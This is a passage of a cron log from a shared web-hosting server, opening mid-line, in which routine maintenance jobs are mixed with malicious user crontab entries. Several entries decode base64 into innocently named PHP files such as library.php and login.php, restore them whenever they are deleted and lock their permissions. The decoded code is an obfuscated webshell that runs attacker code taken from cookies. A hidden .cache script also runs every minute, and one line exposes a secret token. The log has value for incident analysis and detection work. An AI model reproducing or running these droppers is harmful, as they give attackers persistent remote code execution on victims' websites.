gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 03:48:01 medusa CROND[13271]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 03:48:02 medusa CROND[13262]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 03:49:02 medusa CROND[31557]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 03:49:02 medusa CROND[31558]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 03:49:02 medusa CROND[31559]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 03:49:02 medusa CROND[31567]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  2 03:49:02 medusa CROND[31568]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 03:49:02 medusa CROND[31571]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 03:49:02 medusa CROND[31570]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 03:49:02 medusa CROND[31572]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 03:49:02 medusa CROND[31574]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 03:49:02 medusa CROND[31576]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 03:49:02 medusa CROND[31577]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 03:49:02 medusa CROND[31584]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 03:49:46 medusa run-parts(/etc/cron.daily)[3803]: finished imunify-antivirus.cron
Mar  2 03:49:46 medusa run-parts(/etc/cron.daily)[22686]: starting logrotate
Mar  2 03:50:01 medusa CROND[16745]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Mar  2 03:50:01 medusa CROND[16790]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  2 03:50:02 medusa CROND[17226]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 03:50:02 medusa CROND[17231]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Mar  2 03:50:02 medusa CROND[17232]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 03:50:02 medusa CROND[17233]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  2 03:50:02 medusa CROND[17234]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  2 03:50:02 medusa CROND[17235]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 03:50:02 medusa CROND[17236]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 03:50:02 medusa CROND[17238]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Mar  2 03:50:02 medusa CROND[17243]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 03:50:02 medusa CROND[17244]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  2 03:50:02 medusa CROND[17245]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  2 03:50:02 medusa CROND[17250]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 03:50:02 medusa CROND[17252]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  2 03:50:02 medusa CROND[17256]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 03:50:02 medusa CROND[17258]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  2 03:50:02 medusa CROND[17267]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 03:50:02 medusa CROND[17253]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  2 03:50:02 medusa CROND[17270]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 03:50:02 medusa CROND[17273]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Mar  2 03:50:02 medusa CROND[17272]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Mar  2 03:50:02 medusa CROND[17271]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  2 03:50:02 medusa CROND[17276]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 03:50:02 medusa CROND[17274]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Mar  2 03:50:02 medusa CROND[17268]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  2 03:50:02 medusa CROND[17259]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 03:50:02 medusa CROND[17288]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 03:50:02 medusa CROND[17269]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Mar  2 03:50:02 medusa CROND[17304]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  2 03:50:18 medusa run-parts(/etc/cron.daily)[29046]: finished logrotate
Mar  2 03:50:18 medusa run-parts(/etc/cron.daily)[22686]: starting man-db.cron
Mar  2 03:50:37 medusa run-parts(/etc/cron.daily)[13238]: finished man-db.cron
Mar  2 03:50:37 medusa anacron[22129]: Job `cron.daily' terminated (produced output)
